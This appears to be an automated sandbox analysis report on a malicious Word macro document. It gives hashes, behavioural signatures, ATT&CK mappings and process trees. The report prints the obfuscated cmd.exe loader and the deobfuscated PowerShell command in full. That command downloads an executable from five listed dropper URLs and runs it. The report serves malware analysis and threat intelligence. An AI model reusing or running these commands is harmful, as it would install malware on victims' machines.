45fe53a320684b36663ffe02061c1df145d4c3ccc3aa855582f19d3e12210ec7

General

Target

45fe53a320684b36663ffe02061c1df145d4c3ccc3aa855582f19d3e12210ec7.doc
Size

135KB
MD5

5d306a8b1060e779dd27b30749c25d73
SHA1

f48489348a2aa9b01ed7aa7c4ea17aa3002c194e
SHA256

45fe53a320684b36663ffe02061c1df145d4c3ccc3aa855582f19d3e12210ec7
SHA512

14945a24d04928ec7e89f49ed1afdd71b76b2ca9ebd8b8fb536c3345be06c6c14c32699e95516749a8650c22f274ad2b5b5f6935f729141d1a7784bca0165afb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.srskgroup.com/9d74kPY

exe.dropper

http://www.stovefree.com/Zg

exe.dropper

http://www.rohanpurit.com/gfnpS

exe.dropper

http://www.misyaland.com/q

exe.dropper

http://teambored.co.uk/Ps

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1772	3644	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

47 4324 powershell.exe
58 4324 powershell.exe
59 4324 powershell.exe
61 4324 powershell.exe
68 4324 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

1772 cmd.exe
2792 cmd.exe

flow	pid	process
47	4324	powershell.exe
58	4324	powershell.exe
59	4324	powershell.exe
61	4324	powershell.exe
68	4324	powershell.exe

pid	process
1772	cmd.exe
2792	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3644 WINWORD.EXE
3644 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4324 powershell.exe
4324 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4324 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3644 WINWORD.EXE
3644 WINWORD.EXE
3644 WINWORD.EXE
3644 WINWORD.EXE
3644 WINWORD.EXE
3644 WINWORD.EXE
3644 WINWORD.EXE

pid	process
3644	WINWORD.EXE
3644	WINWORD.EXE

pid	process
4324	powershell.exe
4324	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4324	powershell.exe

pid	process
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 3644 wrote to memory of 1772	3644	WINWORD.EXE	cmd.exe
PID 3644 wrote to memory of 1772	3644	WINWORD.EXE	cmd.exe
PID 1772 wrote to memory of 2792	1772	cmd.exe	cmd.exe
PID 1772 wrote to memory of 2792	1772	cmd.exe	cmd.exe
PID 2792 wrote to memory of 4324	2792	cmd.exe	powershell.exe
PID 2792 wrote to memory of 4324	2792	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\45fe53a320684b36663ffe02061c1df145d4c3ccc3aa855582f19d3e12210ec7.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc&&for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!&&if %j gtr 85 %TEMP:~-1,1%owershell "!C6R:~-432!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\system32\cmd.exe
CmD /V:O/C"set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc&&for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!&&if %j gtr 85 powershell "!C6R:~-432!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$JZk='WNF';$NMX=new-object Net.WebClient;$Qqq='http://www.srskgroup.com/9d74kPY@http://www.stovefree.com/Zg@http://www.rohanpurit.com/gfnpS@http://www.misyaland.com/q@http://teambored.co.uk/Ps'.Split('@');$tLz='Pnu';$XKo = '694';$cKT='Cnl';$iXq=$env:temp+'\'+$XKo+'.exe';foreach($nCj in $Qqq){try{$NMX.DownloadFile($nCj, $iXq);$Dsk='oni';If ((Get-Item $iXq).length -ge 80000) {Invoke-Item $iXq;$lVn='wTC';break;}}catch{}}$Csc='Miq';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4324

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1772-137-0x0000000000000000-mapping.dmp

Download
memory/2792-138-0x0000000000000000-mapping.dmp

Download
memory/3644-133-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-143-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-130-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-135-0x00007FFA903C0000-0x00007FFA903D0000-memory.dmp

Filesize
64KB

Download
memory/3644-136-0x00007FFA903C0000-0x00007FFA903D0000-memory.dmp

Filesize
64KB

Download
memory/3644-131-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-132-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-146-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-145-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-144-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/3644-134-0x00007FFA92C10000-0x00007FFA92C20000-memory.dmp

Filesize
64KB

Download
memory/4324-141-0x00007FFAA7BA0000-0x00007FFAA8661000-memory.dmp

Filesize
10.8MB

Download
memory/4324-140-0x000001A3FC460000-0x000001A3FC482000-memory.dmp

Filesize
136KB

Download
memory/4324-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads